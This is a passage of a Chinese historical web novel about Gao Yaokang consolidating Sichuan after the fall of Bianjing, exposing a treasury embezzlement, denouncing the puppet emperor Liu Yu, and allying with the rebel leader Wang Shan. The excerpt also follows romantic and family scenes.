他看着前头。
“该来的总会来。来之前,把该做的事做了。来之后,能挡就挡,挡不住就死。就这么回事。”
赵福金没说话。
她想起汴京破的那天晚上。那些哭声,那些血,那些她不愿意想的事。
她忽然说:
“郑大人,我来,是请你帮忙的。”
郑转运使看着她。
“帝姬请说。”
赵福金说:“高将军要打通川蜀。要练兵。要存粮。要等机会打回去。成都府是大头。你帮不帮?”
郑转运使沉默了一会儿。
然后他笑了。
“帮。”
他笑得脸上褶子都展开了。
“老臣等了二十年,总算等到一个想打回去的。”
第九十七章 王命还在
八月二十。成都府。府衙。
沈万金念信的时候,底下那些官员一个个跟木桩子似的戳着,眼珠子乱转,不知道在想什么。
信不长。就几行字。沈万金念完了,把信纸翻过来给大家看了看——就这么薄薄一张,没别的。
郑转运使听完。沉默了一会儿。然后他看着底下那些官员。
“各位都听见了?”
没人说话。大堂里安静得能听见外头鸟叫。
郑转运使说:“帅司的意思,是给咱们留了面子。愿意的,留下。不愿意的,走。但账目要清楚。库存有多少,花哪儿去了,都得说清楚。说不清楚的,自己去跟帅司解释。”
他看着那些人。一个一个看过去。
“谁走?”
没人动。有几个低着头的,也不敢抬头。
郑转运使点点头。
“那就留下。把账本拿来,咱们一页一页对。今儿对不完明儿接着对,明儿对不完后儿接着对。总得对清楚。”
底下有人嘴角抽了抽,但没敢出声。
九月初一。潼川府。
王彦带着兵进城的时候,城里已经在等着了。跟过年似的。
城门大开。百姓站在路边,伸着脖子看热闹。官员穿着官服,站在最前头,一个个跟鹌鹑似的,挺着胸,绷着脸。
王彦骑着马过去。那个领头的官员,五十来岁,胖,脸圆,笑呵呵的,跟弥勒佛似的。往前迎了几步,一揖到底。
“王将军辛苦了!王将军辛苦了!下官早已备好酒宴,为王将军接风!略备薄酒,不成敬意!”
王彦勒住马,低头看着他。
“你叫什么?”
“下官姓吴,吴德贵。潼川府通判。”
王彦说:“知州呢?”
吴德贵脸上的笑容僵了一下。就一下。很快又堆起来了。
“知州他……他上个月……病逝了。”
王彦看着他。
“病逝了?”
吴德贵点头如捣蒜。脑袋晃得跟拨浪鼓似的。
“是是是,病逝了。下官暂代府事。实在是不幸,唉,知州大人为官清廉,操劳过度,积劳成疾……”
王彦没说话。
他下了马。走到吴德贵面前。
看着他。
吴德贵的笑越来越僵。脸上的肉都在抖。
王彦忽然笑了。
“行。那就你暂代。”
他往里走。
吴德贵愣了一秒,赶紧跟上去,一边走一边擦汗。袖子都湿了。
杨蓁走在后头。
她看着吴德贵的背影。看着他那件新做的官服,料子锃亮,连个褶子都没有。看着他那双擦得锃亮的靴子,走一步晃一下。
她忽然想起高尧康说过的一句话。
“越是笑得好看的,越得小心。笑得跟弥勒佛似的,心里指不定供着哪路神仙。”
九月初五。潼川府。府衙后头。
杨蓁带着人,查库房。
库房门打开的时候,她愣住了。
空的。
不是空的。有东西。但跟账本上记的,对不上。
账本上写的是:粮三万石。银五万两。布五千匹。写得清清楚楚,一笔一画。
库房里是:粮几千石。银几千两。布几百匹。零零散散堆在那儿,跟打发叫花子似的。
杨蓁站在那儿。看着那些空荡荡的架子。架子上落着灰,灰上连手印都没有——说明压根没放过东西。
旁边管库房的小吏,低着头,不敢看她。脖子都快缩进腔子里了。
杨蓁说:“东西呢?”
小吏说:“不……不知道……”
杨蓁说:“不知道?”
小吏腿一软,跪下去了。膝盖砸在地上,咚的一声。
“杨娘子饶命!杨娘子饶命!是……是吴通判让搬的……不关小人的事啊!”
杨蓁转身就往外走。
走到府衙,吴德贵正在跟王彦说话。笑呵呵的,手还在比划,不知道在说什么。
看见杨蓁进来,他站起来。
“杨娘子,有什么事……”
杨蓁说:“库房里的东西呢?”
吴德贵的笑容僵住了。跟被人捏住了脖子似的。
“这……这……”
杨蓁看着他。
“吴通判,我问你,库房里的东西呢?”
吴德贵的脸白了。白得跟纸似的。
他张了张嘴。没说出话。
王彦站起来。走到他面前。
看着他。
“说。”
吴德贵腿一软,跪下去了。跪得比那小吏还干脆。
九月初十。夔州。府衙。
高尧康看着桌上的信。
三封信。
一封是王彦的。写的是潼川府的事。吴德贵招了。东西运走了。往哪儿运的,他说不知道——可能是真不知道,也可能是装不知道。但签字画押的文书上,有个名字。
陈寿昌。
高尧康看着那个名字。
不认识。
他把这名字在心里念了两遍。陈寿昌。记住了。
第二封是沈万金的。写的是成都府的事。郑转运使是个明白人。账目对上了。库存没少。还多出来一些。说是王诗当年想运走的,被他扣下了。信末尾还写了句:郑公说,让帅司放心,他在成都二十年,账上的事,没人能糊弄他。
第三封是杨蓁的。
就一句话。
“我想你了。”
高尧康看着那三个字。看了很久。
然后把信折起来。收进怀里。贴胸口放着。
九月十五。夔州。府衙后院。
赵圆珠坐在廊下,抱着膝盖,看着天。
天灰蒙蒙的。没什么好看的。但她就是看着。
赵赛月走过
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来。坐在她旁边。
“想什么呢?”
赵圆珠说:“想娘。”
赵赛月不说话了。
两个人都沉默着。廊下只有风吹过树叶的声音,沙沙的。
赵福金从屋里出来。看见她们,走过来。
“怎么了?”
赵圆珠摇摇头。没说话。
赵福金坐下。看着她们。
“我也想。”
三个人坐着。谁也不说话。
过了一会儿,赵圆珠忽然说:
“姐,你说,咱们还能回去吗?”
赵福金说:“回哪儿?”
赵圆珠说:“汴京。”
赵福金沉默了一会儿。
“不知道。”
赵圆珠低下头。肩膀抖了一下。
赵福金看着她。忽然说:
“但咱们能活着。”
赵圆珠抬起头。眼眶红红的。
赵福金说:“活着,就有机会。”
她伸手,把妹妹搂过来。
赵赛月也靠过来。
三个人靠在一起。
院子里很静。
九月二十。夔州。府衙。
高尧康站在地图前头。盯着襄阳那块地方,眼珠子都快盯出来了。
陈东走进来。手里拿着几张纸。
“帅司,查到了。”
他把纸放在桌上。纸上有些地方被他圈出来了,红红的,跟血点子似的。
“陈寿昌。原夔州路转运副使。去年调走的。去了襄阳。”
高尧康看着那个名字。
“襄阳?”
陈东说:“对。襄阳府。现在那儿是……”
他顿了顿。
“是王善的地盘。”
高尧康抬起头。
“王善?”
陈东点点头。
“黄河两岸的义军首领。宗留守提过的那个。手下有一万人,占着襄阳一带。朝廷管不了他,金人也打不动他。”
高尧康沉默了一会儿。
然后他走到案前,坐下。拿笔。
陈东看着他。
“帅司,你要写信?”
高尧康说:“嗯。联络王善。”
陈东愣了一下。
“可是……咱们还不知道那些东西是不是他拿了……”
高尧康说:“是不是他拿了,见了才知道。万一是呢?万一是那个姓陈的自己吞了,或者交给王善了?”
他写完。把信折起来。
“派可靠的人。翻山过去。送到襄阳。亲手交给王善。”
陈东接过信。
“是。”
他走到门口,忽然回头。
“帅司,万一……万一那些东西真是他拿的……”
高尧康说:“那就再想办法。抢回来。偷回来。谈回来。总得有个说法。”
陈东走了。
高尧康坐在那儿。看着墙上的地图。
襄阳。一千多里。
外头,天黑了。
第九十八章 乱世看实力
九月二十五。夔州城外。
又一批新兵到了。五百多人。从附近州县招来的。有的自己来的,有的被人带来的。高的矮的胖的瘦的,站成一堆,跟菜市场似的。
呼延通在校场上接人。一个一个看。看个头,看眼神,看手上的茧子。看完一个,往左边或右边一指。左边是留下的,右边是待定的。
高尧康站在台上。看着那些人。
王端走过来。
“帅司,西边有消息了。”
高尧康接过来。看。
王彦写的。说潼川府已经稳了。杨蓁留在那儿清点账目。那姓吴的关着呢,等发落。他带着兵,继续往北。利州路那边,有官员主动来投。还有几个县的知县跑了,他让人先顶着。
沈万金写的。说成都府也稳了。郑转运使帮着联络了周边几个州,都愿意归附。有几个犹豫的,听说王彦的兵快到了,立马改口了。
最后一封,是杨蓁的。
还是那句话。
“我想你了。你什么时候来?”
高尧康看着那行字。
看了很久。
然后他把信折起来。收进怀里。跟上一封放一块儿。
王端在旁边,看见了。没说话。只是笑了笑。
九月底。夔州。府衙后头。
高尧康在院子里站着。看着北边。
杨蓁从后头走过来。
他愣住了。
她站在那儿。穿着寻常的衣裳,头发有点乱,脸上带着笑。风尘仆仆的,但眼睛亮。
“傻了?”
高尧康说:“你怎么回来了?”
杨蓁说:“那边稳了。王彦在就行。我待那儿干嘛,看账本看到吐?”
她走过来。站在他面前。
看着他。
“瘦了。”
高尧康说:“你也是。”
她伸手,在他脸上摸了摸。手有点凉。
“没好好吃饭?”
高尧康说:“吃了。”
杨蓁说:“骗人。脸上都没肉了。”
她忽然笑了。
笑得眼睛弯弯的。
高尧康看着她。
忽然伸手,把她拉进怀里。
抱着。
她愣了一下。然后也抱着他。
两个人在院子里站着。谁也不说话。
天上有月亮。很亮。把院子照得跟白天似的。
照在他们身上。
后头,忽然有人咳嗽一声。
杨蓁赶紧松开。
回头一看,是赵福金。站在门口,手里端着个托盘。托盘上放着碗,冒着热气。
她看着他们。愣了一下。
然后笑了。
“我来送汤的。放这儿了。”
她把托盘放在旁边的石桌上。转身走了。
走得很快。几乎是跑的。
杨蓁看着那个背影。
“她……”
高尧康说:“我知道。”
杨蓁看着他。
“你知道什么?”
高尧康没说话。
杨蓁也没再问。
两个人站在那儿。月亮照着。汤在石桌上冒着热气。
十月初一。夔州。府衙大堂。
三路人马,聚齐了。
王彦从北边回来。晒黑了,瘦了,但精神。站在那儿,腰挺得直,跟杆枪似的。
沈万金从西边回来。胖了还是瘦了看不出来——他那个身材,胖两斤瘦两斤都看不出来。但眼睛亮,跟捡着钱似的。
杨蓁站在高尧康旁边。换了身干净衣裳,头发也重新梳过了。
呼延通。刘实。陈东。王端。孙老头。都来了。
后头还站着些人。新归附的官员。成都府的郑转运使。潼川府新上任的知州。利州路派来的代表。站了一屋子,满满当当的。
高尧康站在最前头。
他看着那些人。
“三个月。三路。都拿下了。”
没人说话。都在听。
“成都府路。潼川府路。利州路。三十七个州。一百多个县。都归咱们管了。”
他看着那些人。
“从今天起,成立川陕宣抚处置司。统一政令。统一军令。统一财权。”
底下有人愣了一下。互相看了一眼。
宣抚处置司?这不是……这得朝廷批准吧?
但没人说出来。
高尧康继续说。
“我自任宣抚使。”
他看着那些人。
“谁有意见?”
没人说话。大堂里安静得能听见自己的心跳。
郑转运使忽然开口。声音不紧不慢的。
“高宣抚,朝廷那边……”
高尧康说:“朝廷那边,我写信了。给李纲李大人。请他转呈官家。”
郑转运使点点头。
“那就好。”
高尧康看着所有人。
“还有一条——保境安民,伺机北伐,迎还二圣。”
他看着那些人。
“这是咱们的旗号。记住了?”
众人齐声:“记住了!”
散会之后,郑转运使走过来。
他看着高尧康。眼睛眯着,脸上褶子一堆。
“高宣抚,老夫有个问题。”
高尧康说:“郑公请讲。”
郑转运使说:“朝廷那边,万一……万一不认呢?”
高尧康沉默了一会儿。
然后他说:“郑公,官家现在在哪儿?”
郑转运使说:“在扬州吧。听说金兵追得紧。昨儿个还有人传,说金兵过了淮河了。”
高尧康说:“他管得了这儿吗?”
郑转运使愣了一下。
高尧康说:“他管不了。所以咱们自己管。等他什么时候能管了,咱们再交给他。”
郑转运使看着他。
看了很久。
然后他笑了。笑得脸上褶子都展开了。
“好。”他说,“好
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。”
十月初五。夔州。府衙后院。
赵福金在院子里坐着。手里拿着一本书。没看。发呆。
赵圆珠跑过来。
“姐,姐!”
赵福金抬起头。
赵圆珠说:“高宣抚派人送东西来了。”
她把一个包袱放在桌上。包袱挺大,鼓鼓囊囊的。
赵福金打开。
里头是几件新衣裳。料子不错,不是那种贵的离谱的,但穿着舒服。还有一盒点心。油纸包着,闻着就香。还有一封信。
她拆开信。
是高尧康写的。很短。
“公主辛苦。些许衣物,聊表谢意。若有需要,随时开口。”
赵福金看着那封信。看了很久。
赵圆珠在旁边。伸着脖子看。
“姐,高宣抚对咱们真好。”
赵福金没说话。
赵圆珠说:“咱们要不要去找王兄?听说他在扬州。他肯定也想咱们了。”
赵福金把信折起来。
“不去。”
赵圆珠愣了一下。
“为什么?”
赵福金说:“他不想见咱们。咱们去了,也是麻烦。”
赵圆珠低下头。
赵福金看着她。
“在这儿挺好。安全。有饭吃。有衣裳穿。还能做事。你前几天不是还帮着发粥吗?那老太太夸你来着。”
赵圆珠说:“可是……咱们是公主啊……”
赵福金笑了。
笑得很轻。有点苦。
“公主?汴京破了那天,就没有公主了。”
她站起来。看着北边。天灰蒙蒙的,什么都看不见。
“现在,咱们就是普通人。能活着,能做事,就够了。”
十月初八。夔州。府衙。
陈东敲门进来。步子有点急。
“高宣抚,襄阳那边,有回信了。”
高尧康抬起头。
陈东把信放在桌上。信封上还带着泥点子,一看就是赶路赶的。
高尧康拆开。
信不长。就几句话。字写得跟狗爬似的,但能看清。
“高宣抚大名,王某早有耳闻。陈寿昌此人,确在襄阳。但他带来的东西,王某分文未取。此人现已投靠金人。若有需要,可派人与王某联络。共击此贼。”
底下署名:王善。名字上还按了个手印,红红的。
高尧康看着那封信。看了很久。
然后他抬起头。
“陈东。”
“在。”
“派人去襄阳。跟王善约个时间。我要亲自见他。”
陈东愣了一下。
“亲自?高宣抚,那太危险了。那是别人的地盘,万一……”
高尧康说:“危险也得去。”
他看着窗外。
窗外,天灰蒙蒙的。要下雨的样子。
“有些事,不见面说不清楚。信上写得再好听,不如当面喝顿酒。”
第九十九章 伪齐阴影
建炎元年十一月初九。夔州。府衙。
天冷得邪乎。外头那风跟刀子似的,往骨头缝里钻。
高尧康坐在炭盆边上,看一份军报。炭火烧得噼啪响,他的脸被映得一明一暗。看着看着,手停住了。跟冻住了一样。
杨蓁从外头进来。带着一身寒气,脸都冻红了。她把门关上,搓了搓手,走过来。
“怎么了?见鬼了?”
高尧康把军报递给她。没说话。
杨蓁接过来。看了一遍。又看了一遍。抬起头。眼睛瞪得跟铜铃似的。
“刘豫?谁?”
高尧康说:“原济南知府。金人立的。伪齐皇帝。”
杨蓁愣在那儿。嘴张着,半天没合上。
“皇帝?”
“嗯。大齐皇帝。都城在大名府。管着黄河以南,淮河以北。金人给他画的圈。”
杨蓁把军报摔在桌上。啪的一声,炭灰都溅起来了。
“他麻的。”
高尧康没说话。看着炭火。
杨蓁在屋里走了两圈。靴子踩在地上,咚咚响。又走回来。
“咱们在这边拼命,他在那边当皇帝?当汉奸皇帝?这他娘的是什么世道?”
高尧康说:“对。”
杨蓁看着他。
“你怎么不生气?”
高尧康说:“生气有用?能把他气死?”
杨蓁不说话了。
高尧康站起来。走到窗前。
窗外头,天灰蒙蒙的。要下雪了。云压得很低,跟扣了口锅似的。
“刘豫这种人,比金兵更可恨。”
他转过身,看着杨蓁。火光在他脸上跳。
“金兵是外人。打进来,抢东西,杀人,咱们恨他们。但那叫仇人。刘豫不一样。他是汉人。是咱们自己人。他投降了。还帮着金人打咱们。这叫畜生。”
杨蓁说:“那怎么办?”
高尧康说:“开会。把人都叫来。”
下午。府衙后堂。
人齐了。
王彦。呼延通。刘实。陈东。王端。孙老头。沈万金。郑转运使也来了。从成都赶来的,脸都冻得发紫,坐在那儿直搓手。
高尧康站在前头。手里拿着那份军报。
他把军报念了一遍。念得一字一顿,跟念悼词似的。
念完了。底下静了一会儿。静得能听见炭火的噼啪声。
然后王彦先开口。一拍大腿。
“他麻的!汉奸!还皇帝?我呸!他配吗?”
呼延通说:“打他。”
刘实说:“怎么打?隔着几千里。你飞过去?”
静了。
陈东说:“高宣抚,你说怎么办?兄弟们听你的。”
高尧康看着他们。一个一个看过去。
“刘豫这人,我在汴京就听说过。济南知府。金兵打过来的时候,他杀了不少抗金的义军。拿着那些人的头,去金营请功。一颗头换一锭银子。”
他看着那些人。
“现在金人立他当皇帝。让他管着中原。为什么?因为他们自己管不过来。找个汉奸,替他们管。管好了,金人收粮收钱。管不好,汉奸背锅。横竖他们不亏。”
郑转运使点点头。脸上的褶子一颤一颤的。
“高宣抚说得对。金人这一手,毒。比刀子还毒。”
高尧康说:“但咱们也有办法。”
他从桌上拿起一张纸。纸上有字,墨迹还没干透。
“我写了个东西。念给你们听听。”
他念。
“伪齐皇帝刘豫者,原济南知府,本食宋禄,受宋恩。金虏一来,屈膝投降。杀我义士,献我城池。今又僭号称帝,为虎作伥。其罪一也。”
“伪齐官员,或胁从,或投靠。明知刘豫为汉奸,犹甘为其爪牙。其罪二也。”
“伪齐之兵,本我同胞。今执刀枪,向我来杀。其罪三也。”
“凡我汉人,见此檄文,当知刘豫为贼,伪齐为伪。其官员兵士,若能反正,既往不咎。若执迷不悟,他日王师北定,定斩不饶。”
念完了。
王彦先喊:“好!就该这么骂!”
呼延通说:“解气!比他娘的打他一顿还解气!”
陈东说:“这檄文一发,天下皆知刘豫是汉奸。他想洗都洗不白。”
高尧康把那张纸放下。
“这只是第一步。后头还有三步。”
他看着沈万金。
“沈掌柜。”
沈万金站起来。肚子顶着,费了半天劲。
“高宣抚吩咐。”
高尧康说:“联号的生意,能进伪齐的地界吗?”
沈万金想了想。手指头在桌上敲了敲。
“能。走襄阳那条路。绕一下。就是……风险大。现在道上乱,山贼多,金人的探子也多。”
高尧康说:“风险大,就加价。加一倍。”
沈万金愣了一下。
“加价?收什么?”
高尧康说:“粮食。生铁。能收多少收多少。价钱给高。比市价高两成。高五成也行。咱不差钱。”
沈万金眼睛亮了。亮得跟灯泡似的。
“高宣抚的意思是……把他们的粮铁收光?”
高尧康说:“收不光,也让他们少。刘豫新立,要养兵,要养官,要养他那套班子。没粮没铁,他拿什么养?拿什么造兵器?拿什么发军饷?”
沈万金点头。脑袋点得跟鸡啄米似的。
“懂了。我这就去安排。让伙计们分头走,别扎堆。扮成商队,扮成货郎,扮成走亲戚的。”
高尧康看着王端。
“王端。”
王端站起来。腰挺得笔直。
“在。”
高尧康说:“伪齐境内,有没有抗金的义军?”
王端说:“有。不少。李成那边,有几千人。王善那边,也有。还有一些小的,几十人几百人的都有。藏在山里,打游击。”
高尧康点点头。
“能联络上吗?”
王端说:“能。就是得小心。那帮人疑心重,怕咱们是金人的探子。”
高尧康说:“联络上之后,给他们送东西。刀。枪。弩。箭。火药。能送多少送多少。让他们拿着这些东西,去杀伪齐的人。杀一个少一个。”
王端说
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:“是。”
高尧康顿了顿。
“还有一条。送的东西,得留记号。”
王端愣了一下。
“记号?”
高尧康说:“刀上刻字。刻个‘川’字。弩上编号。火药里头掺点东西,掺点红土子。让人一看就知道,是咱们给的。”
他看着王端。
“以后那些义军杀了人,刘豫查起来,查来查去,查到咱们头上。他越查越怕。怕咱们的人已经混进去了,怕他身边的人也是咱们的人。”
王端笑了。笑得跟捡着金元宝似的。
“懂了。让他睡不着觉。”
陈东在旁边,忽然说:
“高宣抚,你这是……兵不血刃?”
高尧康说:“这叫混合战争。”
陈东愣了一下。嘴张着。
“混合……什么?”
高尧康说:“军事。经济。政治。情报。一起上。不光是打打杀杀。打打杀杀是下策。让他自己乱起来,才是上策。”
他看着那些人。火光映在他们脸上,一张一张的。
“刘豫有金人撑腰。咱们硬碰硬,打不过。但咱们可以让他坐不稳。让他天天提心吊胆。让他收不上粮,征不到兵,睡不好觉。让他觉得屁股底下那把椅子,随时会翻。”
“等他自己乱起来,金人也护不住他。金人护的是条狗,不是个爹。狗不听话了,他们换一条就是。”
郑转运使忽然拍了一下桌子。啪的一声,把旁边的人吓了一跳。
“好!”
他看着高尧康。眼睛亮得吓人。
“老夫在官场混了四十年,见过能打的,见过能说的,见过能贪的。没见过这种打法。但老夫知道——这打法,能成。”
十一月中旬。消息传来。
刘豫正式登基了。年号阜昌。都大名叫府。封了一堆官。建了一堆衙门。听说还搞了个登基大典,穿着黄袍,坐着轿子,跟真的似的。
金人给他留了三万兵。让他自己管着中原。那三万兵是来帮他的,还是来看他的,谁知道。
高尧康听着那些消息。一条一条。记在心里。脸上没什么表情。
杨蓁在旁边。看着他的侧脸。
“你真要去襄阳?”
高尧康说:“嗯。”
杨蓁说:“我去。”
高尧康看着她。
“你不能去。”
杨蓁说:“为什么?”
高尧康说:“这边得有人看着。王彦打仗行,管人不行。呼延通更不行。你得在。”
杨蓁不说话。嘴抿着。
高尧康走过去。站在她面前。
“杨蓁。”
她抬起头。
高尧康说:“我去襄阳,是见王善。得低调。人越少越好。扮成商队,混进去。你去了,我得分心。一看到你,脑子就不转了。”
杨蓁看着他。
“你分心?”
高尧康说:“嗯。分心。”
杨蓁愣了一下。
然后她笑了。
笑得眼睛弯弯的。脸上的寒气都没了。
“行。那你快去快回。别让人把你炖了。”
第一百章 你是个好人
十一月二十。高尧康带着二十个人,离开夔州。
走的都是小路。翻山。钻林子。白天躲着,晚上赶路。跟做贼似的。
二十个人里,有呼延通。有五个老兵。剩下的是联号的人,熟路。一个个跟山猫似的,走夜路都不带喘的。
走了八天。十二月初,到了襄阳地界。
王善的人,在边界等着。
领头的三十来岁。瘦,黑,脸上有道疤,从左眼角一直拉到下巴,看着跟蜈蚣趴脸上似的。看见高尧康,抱拳。
“高宣抚?王将军让我来接您。一路辛苦了。”
高尧康还礼。
“辛苦。你们等多久了?”
那人笑了一下。笑的时候脸上的疤跟着动。
“不辛苦。王将军说了,您来了,得好酒好肉伺候着。等三天也值。”
高尧康跟着他,往里走。
襄阳城外,一座大营。
说是营,其实就是一片窝棚。破破烂烂的,挤着几千人。有男有女,有老有少。有的在练兵,有的在煮饭,有的在补衣裳。小孩儿跑来跑去,跟泥鳅似的。
高尧康看着那些人。脚步慢下来。
那人在旁边说:“都是逃难的。从北边跑过来的。没地种,没饭吃。王将军收留他们。能打仗的打仗,不能打仗的干活。总比饿死强。”
高尧康点点头。
“王将军人不错。”
那人愣了一下。然后笑了。
“头回听人这么说王将军。都说他是土匪头子。”
高尧康说:“土匪头子不养闲人。”
走到营中间,一座大帐前头。
那人站住。
“高宣抚稍等。”
他进去了。
过了一会儿,出来。
“王将军有请。”
高尧康掀开帐帘,走进去。
里头站着一个人。
四十来岁。高,壮,黑。脸上横着几道疤,比刚才那位的还多。眼睛很亮。看着人的时候,像能把人看穿。跟两把刀似的。
他穿着件旧皮甲。皮甲上好几道口子,也没补。腰里别着刀。站在那儿,像座山。
高尧康走过去。
两个人对望着。
谁也不说话。
帐子里安静得能听见外头的风。
过了一会儿,王善忽然笑了。脸上的疤都挤一块儿了。
“高尧康。宗留守信里提过你。”
高尧康说:“王善。宗留守也提过你。”
王善说:“提我什么?”
高尧康说:“说你是条汉子。能打,能抗,能收人。”
王善愣了一下。
然后他笑了。笑得更开了。露出两排牙,挺白的。
“坐。”
两个人坐下。
有人端上酒。粗瓷碗。碗边上还有缺口。酒是浑的,跟洗脚水似的。
王善端起碗。
“高宣抚,先喝一碗。喝了再说。”
高尧康端起碗。喝了。
酒辣。呛嗓子。跟刀子似的从嗓子眼划下去。他忍着没咳。脸憋红了一下。
王善看着他。眼睛眯着。
“能喝。头回喝我这酒的,十个有八个当场喷出来。”
他又给满上。
高尧康说:“王将军,我来是有正事。”
王善说:“我知道。”
他把碗放下。
看着高尧康。眼睛里的笑没了。
“刘豫的事?”
高尧康说:“对。”
王善沉默了一会儿。手指在桌上敲了敲。
然后他从怀里掏出一样东西。
放在桌上。
一块铜牌。巴掌大。上头刻着一个字。
“宗”。
高尧康愣住了。
他抬起头,看着王善。
王善说:“宗留守的人来过。翻山过来的,差点让金兵逮着。把这东西给我看了。说以后见着拿这个的人,就跟见着他一样。”
他看着高尧康。
“你拿这个来,我就信你。”
高尧康从怀里掏出那块铜牌。
一模一样。
两个铜牌,并排放在桌上。烛光底下,亮晃晃的。
王善看着那两块牌子。看了很久。
然后他站起来。
走到高尧康面前。
忽然单膝跪下。膝盖砸在地上,咚的一声。
高尧康赶紧扶他。
“王将军——”
王善不起来。
他跪在地上,抬头看着高尧康。眼睛里有什么东西在晃。
“高宣抚,宗留守的信里说,你是擎天之材。我王善,是个粗人。斗大的字认不了几个。不懂这些。但我知道,宗留守不会看错人。”
他看着高尧康。
“从今天起,我这条命,交给高宣抚了。你让我往东,我绝不往西。你让我打谁,我就打谁。”
高尧康把他扶起来。
“王将军,我要的不是你的命。我要的是咱们一起,打回去。”
王善站起来。看着他。
“打回去。怎么打?”
高尧康说:“你在这儿,我派人在蜀地。你打你的,我打我的。但咱们得通气。得配合。不能各打各的,让刘豫那孙子各个击破。”
他指着桌上的地图。地图是手画的,歪歪扭扭的,但能看懂。
“刘豫刚立,根基不稳。金人的主力在追官家,顾不上这边。这是机会。过了这村就没这店。”
王善看着那张图。看了半天。
“你说,怎么干?”
高尧康说:“两条线。”
他指着图上。手指从襄阳划出去,又收回来。
“第一条线,你这边。别跟他硬拼。他的人多,你的人少。硬拼拼不过。就躲。就扰。今天烧他一个粮堆,明天劫他一队辎重,后天杀他几个哨兵。让他睡不踏实。”
王善点点头。眼睛亮了。
“这个我在行。折腾人,我祖宗传下来的手艺。”
高尧康说:“第二条线,我那边。我让人收他的粮,买他的铁。让他收不上粮,造不了兵器。再给你送东西。刀。枪。弩。火药。你拿着这些,继续打。打得他找不着北。”
王善眼睛更亮了。跟点了灯似的。
“你那边能送东西过来?”
高尧康说:“能。联号的人有路子。商人,走货的,扮成卖盐的卖布的。混进去。”
王善拍了一下桌子。啪的一声,碗都跳起来了。
“好!”
他看着高尧康。
“高宣抚,你不知道。我们这些人,最缺的就是兵器。拿着锄头镰刀去跟金兵拼,拼不过。一刀过来,锄头柄就断了。你要是能送刀枪来,我保证,让刘豫那狗东西天天做噩梦。”
高尧康说:“还有一条。”
王善看着他。
高尧康说:“你打完了,别占着不走。”
王善愣了一下。
“什么意思?”
高尧康说:“打完就跑。换个地方再打。让刘豫摸不着你,追不上你,打不着你。跟泥鳅似的,他抓一把,你从指头缝里溜了。等他乱起来,咱们再合兵,一举拿下。”
王善沉默了一会儿。眉头皱着。
然后他忽然笑了。笑得跟打雷似的。
“高宣抚,你这脑子……怎么长的?里边装的都是啥?”
高尧康没说话。
王善端起碗。
“来,再喝一碗。我敬你。这碗你必须喝。”
那天晚上,两个人谈了很久。
谈刘豫。谈金兵。谈怎么打。谈以后怎么办。谈着谈着,酒没了,又添上。添上又没了。
谈到半夜,王善忽然说:
“高宣抚,我问你个事。”
高尧康说:“你说。”
王善说:“你以后,打算怎么办?”
高尧康看着他。
王善说:“我知道,你是官家的人。有圣旨,有任命。但官家那边……你也知道,他现在被金兵追得到处跑。今儿扬州,明儿杭州,后儿不知道哪儿。顾不上这边。”
他看着高尧康。眼睛亮亮的。
“你打算一直听他的?”
高尧康沉默了一会儿。手里的碗转了转。
然后他说:“王将军,我不是听谁的。我是想打回去。”
他看着王善。
“谁让我打回去,我就听谁的。谁不让打,我就不听谁的。”
王善愣了一下。
然后他笑了。
“好。这个好。实在。”
第二天一早。高尧康要走。
王善送到营门口。
“高宣抚,保重。路上小心。这条道上,什么人都有。”
高尧康说:“王将军,保重。别硬拼,活着最重要。”
王善忽然从怀里掏出个东西。
一块木牌。巴掌大。上头刻着一个字。
“善”。
他递给高尧康。
“拿着这个。以后有事,派人拿着这个来。我
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的人见了,就知道是你的人。不然半道上让人宰了,别怪我。”
高尧康接过来。收进怀里。
“好。”
他翻身上马。
走了几步,忽然回头。
王善还站在营门口。看着他。身后是那片破破烂烂的窝棚,冒着炊烟。
高尧康喊:“王将军——记住——打了就跑——别贪——”
王善笑了。朝他挥挥手。嘴里喊着什么,听不清。
高尧康转回头。继续走。
走了很远,回头再看。
那座破破烂烂的营寨,还戳在那儿。炊烟升起来,被风吹散了。
十二月底。高尧康回到夔州。
杨蓁在城门口等着。穿着厚衣裳,脸冻得通红,鼻子也红了。
看见他,她跑过来。靴子踩在雪上,咯吱咯吱响。
“瘦了。”
高尧康说:“你也是。鼻子都冻红了。”
杨蓁看着他。
“成了?”
高尧康说:“成了。”
杨蓁笑了。笑得跟捡着钱似的。
两个人往回走。
后头,呼延通他们跟着。一个个都累得跟狗似的,走路都打晃。
走到府衙门口,陈东跑出来。跑得太急,差点在台阶上滑一跤。
“高宣抚,有消息。”
高尧康站住。
陈东递过来一张纸。纸皱巴巴的,跟被揉过似的。
“伪齐那边。刘豫开始动手了。抓了好多人。都是以前抗金的。砍头的砍头,流放的流放。脑袋挂城门上,一排一排的。”
高尧康看着那张纸。看了很久。
杨蓁在旁边。
“怎么办?”
高尧康把纸折起来。
“按计划办。”
他看着陈东。
“檄文。发出去。越多越好。贴到他们城门口去。”
陈东说:“是。”
他看着王端。
“粮食。生铁。继续收。价钱再加一成。收不着就加两成。加到他们卖为止。”
王端说:“是。”
他看着呼延通。
“兵器。加紧造。第一批,先送襄阳。找人背过去,别走大路。”
呼延通说:“是。”
他看着北边。
天灰蒙蒙的。要下雪了。雪粒子打在脸上,凉凉的。
“刘豫想杀人立威。那就让他杀。他杀得越多,恨他的人越多。恨他的人越多,咱们的机会越大。杀不完的。”
那天晚上。府衙后院。
赵福金在院子里站着。看着北边。雪花落在她肩上,她也不拍。
高尧康从后头走过来。踩着雪,咯吱咯吱的。
“公主。”
赵福金回头。
“高宣抚。”
她看着他。脸冻得有点白。
“听说你去了襄阳?”
高尧康说:“嗯。刚回来。”
赵福金说:“见着王善了?”
高尧康说:“见着了。粗人一个,但人不错。”
赵福金沉默了一会儿。雪花落在她睫毛上。
然后她说:“高宣抚,我能求你个事吗?”
高尧康看着她。
“你说。”
赵福金说:“以后打回去的时候,让我跟着。”
高尧康愣了一下。
“你?”
赵福金点点头。眼睛亮亮的。
“我是公主。那些伪齐的官员,很多以前是我爹的臣子。他们见着我,心里会发虚。跪过的人,再见着,腿软。”
她看着高尧康。
“有用。不是拖累。”
高尧康看着她。
看了很久。
雪花落在两个人中间。
然后他说:“行。”
赵福金笑了。
笑得很轻。但眼睛弯弯的。
“谢谢。”
她转身,往回走。走了几步,忽然回头。
“高宣抚。”
“嗯。”
“你是个好人。”
她走了。背影消失在雪里。
高尧康站在那儿。看着那个方向。
杨蓁从暗处走出来。不知道站了多久。
“她说什么?”
高尧康说:“说我是好人。”
杨蓁愣了一下。然后笑了。
“那确实是。好人,就是有点傻。”
她走过来,站在他旁边。
两个人站着。看着北边。
天黑了。什么都看不见。只有雪在下。
